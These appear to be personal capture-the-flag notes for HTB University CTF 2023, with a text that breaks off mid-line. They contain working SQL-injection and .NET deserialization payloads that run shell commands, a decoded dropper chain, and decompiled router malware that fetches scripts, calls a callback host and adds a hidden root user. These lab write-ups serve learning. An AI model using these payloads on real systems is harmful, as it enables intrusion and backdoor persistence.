# HTB University CTF 2023 aaa ## GateCrash - easy web user -> proxy -> login there is a sqli filter allowing only ascii in the proxy, the useragent is also proxied putting %0a%0a in useragent gets decoded in the proxied request. exploit: ``` POST /user HTTP/1.1 Host: 83.136.254.153:32183 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Mozilla/7.0%0a%0a{"username":"' UNION SELECT 1,'admin','$2a$10$Qk2Lg1k7m/4/CF7ZwSAgDe3kvUtV0yTqbdFebPpA5nSDZHZgOdVKS","password":"xxxx"} Content-Length: 119 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: http://83.136.254.153:32183 Referer: http://83.136.254.153:32183/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: close username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=aaaa HTTP/1.1 200 OK Content-Length: 41 Server: HttpBeast Date: Fri, 08 Dec 2023 13:40:23 GMT Content-Type: text/html;charset=utf-8 {"msg": "HTB{d0_th3_d45h_0n_th3_p4r53r}"} ``` ## Web - Nexus void sql injection + .net deserialization -> vulnerable class with command setter that executes the cmd. substitute the @base64, etc. in your head :) ``` Token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<@replace('=','')><@base64>{"username":"test","ID":"pepe' UNION SELECT 1 as 'ID', '<@base64>{"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","output":"","command":"cat /flag.txt>/app/wwwroot/css/johnyboy.css"}<@/base64>' as 'data', '<@base64>{"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","output":"","command":"echo pepe>/app/wwwroot/css/johnyboy.css"}<@/base64>' as 'username","exp":1702657487,"iss":"NexusVoid","aud":"NexusVoid"}<@/base64><@/replace>. ``` ## One Step Closer - visit url -> download next stage -> vb script - print sus variable: [first](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9-_',true,false)Remove_null_bytes()&input=QUQ0QUp3QTdBQ1FBWlFCdUFHUUFSZ0JzQUdFQVp3QWdBRDBBSUFBbkFEd0FQQUJDQUVFQVV3QkZBRFlBTkFCZkFFVUFUZ0JFQUQ0QVBnQW5BRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFQUUFnQUNRQWFRQnRBR0VBWndCbEFGUUFaUUI0QUhRQUxnQkpBRzRBWkFCbEFIZ0FUd0JtQUNnQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXBBRHNBSkFCbEFHNEFaQUJKQUc0QVpBQmxBSGdBSUFBOUFDQUFKQUJwQUcwQVlRQm5BR1VBVkFCbEFIZ0FkQUF1QUVrQWJnQmtBR1VBZUFCUEFHWUFLQUFrQUdVQWJnQmtBRVlBYkFCaEFHY0FLUUE3QUNRQWN3QjBBR0VBY2dCMEFFa0FiZ0JrQUdVQWVBQWdBQzBBWndCbEFDQUFNQUFnQUMwQVlRQnVBR1FBSUFBa0FHVUFiZ0JrQUVrQWJnQmtBR1VBZUFBZ0FDMEFad0IwQUNBQUpBQnpBSFFBWVFCeUFIUUFTUUJ1QUdRQVpRQjRBRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFLd0E5QUNBQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXVBRXdBWlFCdUFHY0FkQUJvQURzQUpBQmlBR0VBY3dCbEFEWUFOQUJNQUdVQWJnQm5BSFFBYUFBZ0FEMEFJQUFrQUdVQWJnQmtBRWtBYmdCa0FHVUFlQUFnQUMwQUlBQWtBSE1BZEFCaEFISUFkQUJKQUc0QVpBQmxBSGdBT3dBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUlBQTlBQ0FBSkFCcEFHMEFZUUJuQUdVQVZBQmxBSGdBZEFBdUFGTUFkUUJpQUhNQWRBQnlBR2tBYmdCbkFDZ0FKQUJ6QUhRQVlRQnlBSFFBU1FCdUFHUUFaUUI0QUN3QUlBQWtBR0lBWVFCekFHVUFOZ0EwQUV3QVpRQnVBR2NBZEFCb0FDa0FPd0FrQUdNQWJ3QnRBRzBBWVFCdUFHUUFRZ0I1QUhRQVpRQnpBQ0FBUFFBZ0FGc0FVd0I1QUhNQWRBQmxBRzBBTGdCREFHOEFiZ0IyQUdVQWNnQjBBRjBBT2dBNkFFWUFjZ0J2QUcwQVFnQmhBSE1BWlFBMkFEUUFVd0IwQUhJQWFRQnVBR2NBS0FBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUtRQTdBQ1FBYkFCdkFHRUFaQUJsQUdRQVFRQnpBSE1BWlFCdEFHSUFiQUI1QUNBQVBRQWdBRnNBVXdCNUFITUFkQUJsQUcwQUxnQlNBR1VBWmdCc0FHVUFZd0IwQUdrQWJ3QnVBQzRBUVFCekFITUFaUUJ0QUdJQWJBQjVBRjBBT2dBNkFFd0Fid0JoQUdRQUtBQWtBR01BYndCdEFHMEFZUUJ1QUdRQVFnQjVBSFFBWlFCekFDa0FPd0FrQUhRQWVRQndBR1VBSUFBOUFDQUFKQUJzQUc4QVlRQmtBR1VBWkFCQkFITUFjd0JsQUcwQVlnQnNBSGtBTGdCSEFHVUFkQUJVQUhrQWNBQmxBQ2dBSndCR0FHa0FZZ0JsQUhJQUxnQklBRzhBYlFCbEFDY0FLUUE3QUNRQWJRQmxBSFFBYUFCdkFHUUFJQUE5QUNBQUpBQjBBSGtBY0FCbEFDNEFSd0JsQUhRQVRRQmxBSFFBYUFCdkFHUUFLQUFuQUZZQVFRQkpBQ2NBS1FBdUFFa0FiZ0IyQUc4QWF3QmxBQ2dBSkFCdUFIVUFiQUJzQUN3QUlBQmJBRzhBWWdCcUFHVUFZd0IwQUZzQVhRQmRBQ0FBS0FBbkFGb0FSQUJXQUdzQVdnQnRBRmtBZVFCTkFGY0FTUUI0QUU0QU1nQldBR3dBVEFCVUFFWUFiUUJPQUVRQVp3QjBBRTRBVndCTkFETUFUZ0JEQURFQWFnQlBBRlFBVFFBd0FFd0FWd0JSQURNQVRRQXlBRTBBZVFCWkFGUUFXUUI2QUZBQVZ3QTFBR3dBWVFBeUFEa0FNQUJLQUcwQVJnQndBRm9BUndCV0FIUUFVQUJZQUZJQWN3QlpBRlFBT1FBd0FHVUFTQUJSQUhVQVl3QnRBRllBYlFCakFESUFOUUJvQUdNQWJnQlJBSFlBWWdCNUFEa0FkQUJpQURJQVRRQjFBR1FBUndBNUFIY0FZd0F6QUVJQWR3QlpBRk1BTlFCdEFFOEFWQUJPQUdvQVRnQnBBREVBYmdCaUFHMEFiQUJ5QUZrQU1nQkdBRzhBVEFBeUFFa0FkZ0JOQUVnQVdRQjJBR0lBVndBNUFHb0FUQUJ1QUU0QWNBQmpBRWNBUmdCc0FHSUFSd0JrQUhZQVlnQXlBR01BZFFCYUFGY0FaQUJvQUdNQWJRQTVBREFBWXdBeUFGWUFlZ0JaQUZjQVNnQnNBR01BYlFCc0FHMEFUQUI1QURnQU5nQmpBRE1BUWdBd0FHUUFSd0JuQUQwQUp3QWdBQ3dBSUFBbkFHUUFaZ0JrQUdZQVpBQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJoQUdRQWN3QmhBQ2NBSUFBc0FDQUFKd0JrQUdVQUp3QWdBQ3dBSUFBbkFHTUFkUUFuQUNrQUtRQQ) [second](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9-_',true,false)Remove_null_bytes()&input=QUQ0QUp3QTdBQ1FBWlFCdUFHUUFSZ0JzQUdFQVp3QWdBRDBBSUFBbkFEd0FQQUJDQUVFQVV3QkZBRFlBTkFCZkFFVUFUZ0JFQUQ0QVBnQW5BRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFQUUFnQUNRQWFRQnRBR0VBWndCbEFGUUFaUUI0QUhRQUxnQkpBRzRBWkFCbEFIZ0FUd0JtQUNnQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXBBRHNBSkFCbEFHNEFaQUJKQUc0QVpBQmxBSGdBSUFBOUFDQUFKQUJwQUcwQVlRQm5BR1VBVkFCbEFIZ0FkQUF1QUVrQWJnQmtBR1VBZUFCUEFHWUFLQUFrQUdVQWJnQmtBRVlBYkFCaEFHY0FLUUE3QUNRQWN3QjBBR0VBY2dCMEFFa0FiZ0JrQUdVQWVBQWdBQzBBWndCbEFDQUFNQUFnQUMwQVlRQnVBR1FBSUFBa0FHVUFiZ0JrQUVrQWJnQmtBR1VBZUFBZ0FDMEFad0IwQUNBQUpBQnpBSFFBWVFCeUFIUUFTUUJ1QUdRQVpRQjRBRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFLd0E5QUNBQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXVBRXdBWlFCdUFHY0FkQUJvQURzQUpBQmlBR0VBY3dCbEFEWUFOQUJNQUdVQWJnQm5BSFFBYUFBZ0FEMEFJQUFrQUdVQWJnQmtBRWtBYmdCa0FHVUFlQUFnQUMwQUlBQWtBSE1BZEFCaEFISUFkQUJKQUc0QVpBQmxBSGdBT3dBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUlBQTlBQ0FBSkFCcEFHMEFZUUJuQUdVQVZBQmxBSGdBZEFBdUFGTUFkUUJpQUhNQWRBQnlBR2tBYmdCbkFDZ0FKQUJ6QUhRQVlRQnlBSFFBU1FCdUFHUUFaUUI0QUN3QUlBQWtBR0lBWVFCekFHVUFOZ0EwQUV3QVpRQnVBR2NBZEFCb0FDa0FPd0FrQUdNQWJ3QnRBRzBBWVFCdUFHUUFRZ0I1QUhRQVpRQnpBQ0FBUFFBZ0FGc0FVd0I1QUhNQWRBQmxBRzBBTGdCREFHOEFiZ0IyQUdVQWNnQjBBRjBBT2dBNkFFWUFjZ0J2QUcwQVFnQmhBSE1BWlFBMkFEUUFVd0IwQUhJQWFRQnVBR2NBS0FBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUtRQTdBQ1FBYkFCdkFHRUFaQUJsQUdRQVFRQnpBSE1BWlFCdEFHSUFiQUI1QUNBQVBRQWdBRnNBVXdCNUFITUFkQUJsQUcwQUxnQlNBR1VBWmdCc0FHVUFZd0IwQUdrQWJ3QnVBQzRBUVFCekFITUFaUUJ0QUdJQWJBQjVBRjBBT2dBNkFFd0Fid0JoQUdRQUtBQWtBR01BYndCdEFHMEFZUUJ1QUdRQVFnQjVBSFFBWlFCekFDa0FPd0FrQUhRQWVRQndBR1VBSUFBOUFDQUFKQUJzQUc4QVlRQmtBR1VBWkFCQkFITUFjd0JsQUcwQVlnQnNBSGtBTGdCSEFHVUFkQUJVQUhrQWNBQmxBQ2dBSndCR0FHa0FZZ0JsQUhJQUxnQklBRzhBYlFCbEFDY0FLUUE3QUNRQWJRQmxBSFFBYUFCdkFHUUFJQUE5QUNBQUpBQjBBSGtBY0FCbEFDNEFSd0JsQUhRQVRRQmxBSFFBYUFCdkFHUUFLQUFuQUZZQVFRQkpBQ2NBS1FBdUFFa0FiZ0IyQUc4QWF3QmxBQ2dBSkFCdUFIVUFiQUJzQUN3QUlBQmJBRzhBWWdCcUFHVUFZd0IwQUZzQVhRQmRBQ0FBS0FBbkFGb0FSQUJXQUdzQVdnQnRBRmtBZVFCTkFGY0FTUUI0QUU0QU1nQldBR3dBVEFCVUFFWUFiUUJPQUVRQVp3QjBBRTRBVndCTkFETUFUZ0JEQURFQWFnQlBBRlFBVFFBd0FFd0FWd0JSQURNQVRRQXlBRTBBZVFCWkFGUUFXUUI2QUZBQVZ3QTFBR3dBWVFBeUFEa0FNQUJLQUcwQVJnQndBRm9BUndCV0FIUUFVQUJZQUZJQWN3QlpBRlFBT1FBd0FHVUFTQUJSQUhVQVl3QnRBRllBYlFCakFESUFOUUJvQUdNQWJnQlJBSFlBWWdCNUFEa0FkQUJpQURJQVRRQjFBR1FBUndBNUFIY0FZd0F6QUVJQWR3QlpBRk1BTlFCdEFFOEFWQUJPQUdvQVRnQnBBREVBYmdCaUFHMEFiQUJ5QUZrQU1nQkdBRzhBVEFBeUFFa0FkZ0JOQUVnQVdRQjJBR0lBVndBNUFHb0FUQUJ1QUU0QWNBQmpBRWNBUmdCc0FHSUFSd0JrQUhZQVlnQXlBR01BZFFCYUFGY0FaQUJvQUdNQWJRQTVBREFBWXdBeUFGWUFlZ0JaQUZjQVNnQnNBR01BYlFCc0FHMEFUQUI1QURnQU5nQmpBRE1BUWdBd0FHUUFSd0JuQUQwQUp3QWdBQ3dBSUFBbkFHUUFaZ0JrQUdZQVpBQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJoQUdRQWN3QmhBQ2NBSUFBc0FDQUFKd0JrQUdVQUp3QWdBQ3dBSUFBbkFHTUFkUUFuQUNrQUtRQQ) > download http://94.237.62.252:42875/WJveX71agmOQ6Gw_1698762642.jpg - run `strings` on that image -> base64 decode => its .exe file -> run `strings` on that executable = profit > HTB{0n3_St3p_cl0s3r_t0_th3_cur3} ___ ``` Time: 15:02 Status: ``` ![Screenshot 2023-12-08 at 15.02.19](https://hackmd.io/_uploads/H1effilIa.png) ## umbrella - nmap TCP ``` # Nmap 7.93SVN scan initiated Fri Dec 8 16:59:37 2023 as: nmap -p- -T4 -sV -sC -oN nmap-tcp 10.129.241.146 Nmap scan report for 10.129.241.146 Host is up (0.0038s latency). Not shown: 65526 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Science Labs | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date: TLS randomness does not represent time |_http-server-header: Microsoft-HTTPAPI/2.0 | ssl-cert: Subject: commonName=prd23-nextcloud.umbrella.htb/organizationName=Umbrella | Not valid before: 2023-10-24T11:36:51 |_Not valid after: 2073-10-11T11:36:51 |_http-title: Not Found 445/tcp open microsoft-ds? 9389/tcp open mc-nmf .NET Message Framing 59621/tcp open msrpc Microsoft Windows RPC 59626/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 6h59m59s | smb2-time: | date: 2023-12-08T23:03:03 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Dec 8 17:03:43 2023 -- 1 IP address (1 host up) scanned in 246.15 seconds ``` https://adfs.umbrella.htb/adfs/ls/idpinitiatedsignon.aspx?SAMLRequest=nZJNbxshEIbv/hXR3r0L69iKkG3JjZvWkmtbsZNDLxELszESC5SB1v33xWyifEjJoRyQGOZ9mHmHKfJOO7aI4Whu4VcEDIOLtE6dNsjy5ayI3jDLUSEzvANkQbD94sea1SVhzttghdXFO9nnKo4IPihretlqOSu2m6/r7bfV5gEu67GsKVAiJWlamMha0PFk0l42LaViVBMyHjVE9tJ78Jg4syJhi0FPQ4ywMhi4CSlO6tGQ1kNydahHjE4YufrZS5epWWV4yPJjCA5ZVXHZYhm7xoPWvDyGJkcqjZWSThkVFA8gUT0aa0qO7tSzdk82fFFGKvP4efdNn4Ts++GwG+62+0MPWTy7cm0Nxg78HvxvJeDudv1SoPMyNWTgFIS2Ub6r1TmsYqI8nGdQ5Y0LLOaZPz2fWbbHz/+b10Hgkgc+rV7jXh5wbJM6Xi13VivxN8fP68b6joePjaElzRElh21OZdGgA6FaBU+zzh5pbf9ce0hTmBXBRyguqvmgr+XtP57/Aw==&RelayState=https://prd23-nextcloud.umbrella.htb/apps/user_saml/saml/login https://adfs.umbrella.htb/adfs/ls/idpinitiatedsignon.aspx?SAMLRequest=nZJNbxshEIbv/hXR3r0L69iKkG3JjZvWkmtbsZNDLxELszESC5SB1v33xWyifEjJoRyQGOZ9mHmHKfJOO7aI4Whu4VcEDIOLtE6dNsjy5ayI3jDLUSEzvANkQbD94sea1SVhzttghdXFO9nnKo4IPihretlqOSu2m6/r7bfV5gEu67GsKVAiJWlamMha0PFk0l42LaViVBMyHjVE9tJ78Jg4syJhi0FPQ4ywMhi4CSlO6tGQ1kNydahHjE4YufrZS5epWWV4yPJjCA5ZVXHZYhm7xoPWvDyGJkcqjZWSThkVFA8gUT0aa0qO7tSzdk82fFFGKvP4efdNn4Ts++GwG+62+0MPWTy7cm0Nxg78HvxvJeDudv1SoPMyNWTgFIS2Ub6r1TmsYqI8nGdQ5Y0LLOaZPz2fWbbHz/+b10Hgkgc+rV7jXh5wbJM6Xi13VivxN8fP68b6joePjaElzRElh21OZdGgA6FaBU+zzh5pbf9ce0hTmBXBRyguqvmgr+XtP57/Aw==&RelayState=https://prd23-nextcloud.umbrella.htb/apps/user_saml/saml/login - /etc/hosts: ``` 10.129.241.146 adfs.umbrella.htb prd23-nextcloud.umbrella.htb umbrella.htb ``` research@umbrella.htb info@umbrella.htb ``` Jennifer Roberts Michael Anderson Robert Turner Emily Clark Rebecca Anderson Marcus Rodriguez Sarah Mitchell Olivia Turner Lucas Anderson John Smith Alice Richards Sarah Johnson ``` ## WindowsOfOpportunity ``` local_c = 0 local_38 = "" arr = [ -100, -106, -67, -81, -109, -61, -108, 96, -94, -47, -62, -49, -100, -93, -90, 104, -108, -63, -41, -84, -106, -109, -109, -42, -88, -97, -46, -108, -89, -42, -113, -96, -93, -95, -93, 86, -98 ] while True: if 36 < local_c: print("done") local_d = ord(local_38[local_c + 1]) + ord(local_38[local_c]) if (local_d != arr[local_c]): break local_c += 1 ``` ## ZombieNet (forensics) - FUCKING HELL :smile::gun: - extract fake firmware using: ```bash binwalk -e fake.bin ``` - original one = https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin - diff is in `/usr/bin/dead-reanimation` -> gotta decompile this shit: ```c int __fastcall main(int a1, char **a2, char **a3) { int v4[5]; // [sp+18h] [+18h] BYREF char v5; // [sp+2Ch] [+2Ch] int v6[4]; // [sp+30h] [+30h] BYREF __int16 v7; // [sp+40h] [+40h] char v8[60]; // [sp+44h] [+44h] BYREF char v9[56]; // [sp+80h] [+80h] BYREF v4[0] = -1703975440; v4[1] = -1376459650; v4[2] = 1318285417; v4[3] = -1899634347; v4[4] = 989159361; v5 = 0; v6[0] = -1703975440; v6[1] = -1376456066; v6[2] = 1250707043; v6[3] = -1870468544; v7 = 200; memcpy(v8, dword_400F74, 58); memcpy(v9, dword_400FB0, 55); sub_400C04((int)v4); sub_400C04((int)v6); sub_400C04((int)v8); sub_400C04((int)v9); if ( access(v4, 0) == -1 ) { sub_400B20(v8, v4); chmod(v4, 511); } if ( access(v6, 0) == -1 ) { sub_400B20(v9, v6); chmod(v6, 511); } system(v6); system(v4); return 0; } ``` ```c BOOL __fastcall sub_400C04(int a1) { BOOL result; // $v0 unsigned int i; // [sp+18h] [+18h] for ( i = 0; ; ++i ) { result = i < strlen(a1); if ( !result ) break; *(_BYTE *)(a1 + i) ^= *((_BYTE *)dword_400F24 + (int)i % 32); } return result; } ``` ``` LOAD:00400F1C 00 00 00 00 .align 4 LOAD:00400F20 77 62 00 00 dword_400F20:.word 0x6277 # DATA XREF: sub_400B20+38↑o LOAD:00400F24 DF 11 02 EA 51 80 91 CC 0D 2F+dword_400F24:.word 0xEA0211DF, 0xCC918051, 0x2BE12F0D, 0xE3AC8F34, 0x5E902BA0, 0x32A4A203, 0x9603EEED, 0xB0F45783 LOAD:00400F24 E1 2B 34 8F AC E3 A0 2B 90 5E+ # DATA XREF: sub_400C04+14↑o LOAD:00400F24 03 A2 A4 32 ED EE 03 96 83 57+.word 0 LOAD:00400F48 F0 65 6F 9A dword_400F48:.word 0x9A6F65F0 # DATA XREF: main+1C↑r LOAD:00400F48 # main+20↑o LOAD:00400F48 # main+28↑o LOAD:00400F48 # main+30↑o LOAD:00400F48 # main+38↑o LOAD:00400F48 # main+54↑o LOAD:00400F4C 7E E4 F4 AD dword_400F4C:.word 0xADF4E47E # DATA XREF: main+24↑r LOAD:00400F50 69 70 93 4E dword_400F50:.word 0x4E937069 # DATA XREF: main+2C↑r LOAD:00400F54 55 E1 C5 8E dword_400F54:.word 0x8EC5E155 # DATA XREF: main+34↑r LOAD:00400F58 C1 5F F5 3A dword_400F58:.word 0x3AF55FC1 # DATA XREF: main+3C↑r LOAD:00400F5C 00 byte_400F5C:.byte 0 # DATA XREF: main+58↑r LOAD:00400F5D 00 00 00 .byte 0, 0, 0 LOAD:00400F60 F0 65 6F 9A dword_400F60:.word 0x9A6F65F0 # DATA XREF: main+68↑r LOAD:00400F60 # main+6C↑o LOAD:00400F60 # main+74↑o LOAD:00400F60 # main+7C↑o LOAD:00400F60 # main+94↑o LOAD:00400F64 7E F2 F4 AD dword_400F64:.word 0xADF4F27E # DATA XREF: main+70↑r LOAD:00400F68 63 46 8C 4A dword_400F68:.word 0x4A8C4663 # DATA XREF: main+78↑r LOAD:00400F6C 40 EA 82 90 dword_400F6C:.word 0x9082EA40 # DATA XREF: main+80↑r LOAD:00400F70 C8 00 word_400F70:.half 0xC8 # DATA XREF: main+98↑r LOAD:00400F72 00 00 .half 0 LOAD:00400F74 B7 65 76 9A 6B AF BE AF 62 41+dword_400F74:.word 0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF367C18F, 0xC2AB33E2 LOAD:00400F74 87 42 53 FC 82 91 CF 5E E4 3B+ # DATA XREF: main+AC↑o LOAD:00400F74 71 8C CC 46 8F C1 67 F3 E2 33+.word 0x836C70BA, 0xA9E5E13C, 0x658C7069, 0xAEF8D559, 0xBFA65D4, 0x2F7FB30, 0xDD LOAD:00400FB0 B7 65 76 9A 6B AF BE AF 62 41+dword_400FB0:.word 0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF371C18F, 0xDD9D39E2 LOAD:00400FB0 87 42 53 FC 82 91 CF 5E E4 3B+ # DATA XREF: main+CC↑o LOAD:00400FB0 71 8C CC 46 8F C1 71 F3 E2 39+.word 0xC46765BE, 0xA6CEE822, 0x7CAE5548, 0xB7F6FB79, 0xDDF53F5, 0x9233, 0, 0 LOAD:00400FF0 00 00 00 00 00 00 00 00 00 00+dword_400FF0:.word 0, 0, 0, 0 # DATA XREF: sub_4006D0+30↑o LOAD:00400FF0 00 00 00 00 00 00 # LOAD:00400740↑o ``` ```c int32_t main(int32_t argc, char** argv, char** envp) { argc_1 = argc; argv_1 = argv; int32_t var_a8; __builtin_memcpy(&var_a8, "\xf0\x65\x6f\x9a\x7e\xe4\xf4\xad\x69\x70\x93\x4e\x55\xe1\xc5\x8e\xc1\x5f\xf5\x3a", 0x14); char var_94 = 0; int32_t var_90; __builtin_memcpy(&var_90, "\xf0\x65\x6f\x9a\x7e\xf2\xf4\xad\x63\x46\x8c\x4a\x40\xea\x82\x90\xc8\x00", 0x12); void var_7c; memcpy(&var_7c, &data_400f74, 0x3a); void var_40; memcpy(&var_40, &data_400fb0, 0x37); sub_400c04(&var_a8); sub_400c04(&var_90); sub_400c04(&var_7c); sub_400c04(&var_40); if (access(&var_a8, 0) == 0xffffffff) { sub_400b20(&var_7c, &var_a8); chmod(&var_a8, 0x1ff); } if (access(&var_90, 0) == 0xffffffff) { sub_400b20(&var_40, &var_90); chmod(&var_90, 0x1ff); } system(&var_90); system(&var_a8); return 0; } ``` ```py dword_400F20 = [ 0x77620000, ] dword_400F24 = [ 0xEA0211DF, 0xCC918051, 0x2BE12F0D, 0xE3AC8F34, 0x5E902BA0, 0x32A4A203, 0x9603EEED, 0xB0F45783, ] dword_400F48 = [ 0x9A6F65F0, 0xADF4E47E, 0x4E937069, 0x8EC5E155, 0x3AF55FC1, ] dword_400F60 = [ 0x9A6F65F0, 0xADF4F27E, 0x4A8C4663, 0x9082EA40, ] word_400F70 = [ 0xC800, ] dword_400F74 = [ 0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF367C18F, 0xC2AB33E2, 0x836C70BA, 0xA9E5E13C, 0x658C7069, 0xAEF8D559, 0xBFA65D4, 0x2F7FB30, 0xDD, ] dword_400FB0 = [ 0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF371C18F, 0xDD9D39E2, 0xC46765BE, 0xA6CEE822, 0x7CAE5548, 0xB7F6FB79, 0xDDF53F5, 0x9233, 0, 0, ] ``` ``` https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',4,true)&input=ICAgIDB4RUEwMjExREYsCiAgICAweENDOTE4MDUxLAogICAgMHgyQkUxMkYwRCwKICAgIDB4RTNBQzhGMzQsCiAgICAweDVFOTAyQkEwLAogICAgMHgzMkE0QTIwMywKICAgIDB4OTYwM0VFRUQsCiAgICAweEIwRjQ1NzgzLA > hodit dword_400F24 so Swap_endianness ako key do xoru /tmp/dead_reanimated /tmp/reanimate.sh --- https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'df%2011%2002%20ea%2051%2080%2091%20cc%200d%202f%20e1%202b%2034%208f%20ac%20e3%20a0%202b%2090%205e%2003%20a2%20a4%2032%20ed%20ee%2003%2096%2083%2057%20f4%20b0'%7D,'Standard',false)&input=YjcgNjUgNzYgOWEgNmIgYWYgYmUgYWYgNjIgNDEgODcgNDIgNTMgZmMgODIgOTEgY2YgNWUgZTQgM2IgNzEgOGMgY2MgNDYgOGYgYzEgNjcgZjMgZTIgMzMgYWIgYzIgYmEgNzAgNmMgODMgM2MgZTEgZTUgYTkgNjkgNzAgOGMgNjUgNTkgZDUgZjggYWUg key = dword_400F24 so swap endianness input so swap endiannes: - dword_400F74 - dword_400FB0 ``` > /tmp/dead_reanimated > /tmp/reanimate.sh ```c #include <stdbool.h> #include <string.h> #include <stdio.h> bool xorFunction(int input[], int inputSize) { bool result; unsigned int i; int dword_400F24[] = {0xEA0211DF, 0xCC918051, 0x2BE12F0D, 0xE3AC8F34, 0x5E902BA0, 0x32A4A203, 0x9603EEED, 0xB0F45783}; for (i = 0; ; ++i) { result = i < inputSize; if (!result) break; input[i] ^= dword_400F24[i % 8]; } //printf(result); printf(input); return result; } int main() { int inputData[] = {0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF367C18F, 0xC2AB33E2, 0x836C70BA, 0xA9E5E13C, 0x658C7069, 0xAEF8D559, 0xBFA65D4, 0x2F7FB30, 0xDD}; int inputSize = sizeof(inputData) / sizeof(inputData[0]); xorFunction(inputData, inputSize); // Resulting values are now in the inputData array // You can use or display the modified inputData as needed return 0; } ``` > http://configs.router.htb:49720/dead_reanimated_mNmZTMtNjU3YS00 > http://configs.router.htb:49720/reanimate.sh_jEzOWMtZTUxOS00 ```bash curl -X POST -H "Content-Type: application/json" -b "auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d '{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate ``` > `SFRCe1owbWIxM3NfaDR2M19pbmY` = 1st part of flag :))))) b64 encoded > **HTB{Z0mb13s_h4v3_inf3ct3d_0ur_c0mmun1c4t10ns!!} ** - v binarke najdene: ``` d2c0ba035fe58753c648066d76fa793bea92ef29 http://callback.router.htb HSTERUNI-GW-01 ``` ```c int __cdecl ftext(int argc, const char **argv, const char **envp) { size_t dlzka_memory_data; // $v0 const char *v4; // $s1 int v5; // $v0 int v6; // $s0 FILE *v7; // $s2 size_t v8; // $s0 int v9; // $s0 FILE *v11; // $s2 int v12[64]; // [sp+18h] [-158h] BYREF char nieco_encrypted[44]; // [sp+118h] [-58h] BYREF char memory_data[28]; // [sp+144h] [-2Ch] BYREF char username[16]; // [sp+160h] [-10h] BYREF strcpy(username, "zombie_lord"); strcpy(nieco_encrypted, "d2c0ba035fe58753c648066d76fa793bea92ef29"); memcpy(memory_data, &unk_400D50, 0x1Bu); dlzka_memory_data = strlen(memory_data); v4 = (const char *)malloc(4 * dlzka_memory_data); init_crypto_lib(nieco_encrypted, memory_data, v4); v5 = curl_easy_init(); if ( !v5 ) return -2; v6 = v5; curl_easy_setopt(v5, 10002, "http://callback.router.htb"); curl_easy_setopt(v6, 10015, v4); curl_easy_perform(v6); curl_easy_cleanup(v6); v7 = fopen("/proc/sys/kernel/hostname", "r"); memset(v12, 0, sizeof(v12)); v8 = fread(v12, 0x100u, 1u, v7); fclose(v7); *((_BYTE *)v12 + v8 - 1) = 0; v9 = strcmp((const char *)v12, "HSTERUNI-GW-01"); if ( v9 ) return -1; if ( getuid() && geteuid() ) return -1; if ( !getpwnam(username) ) system("opkg update && opkg install shadow-useradd && useradd -s /bin/ash -g 0 -u 0 -o -M zombie_lord"); v11 = popen("passwd zombie_lord", "w"); fprintf(v11, 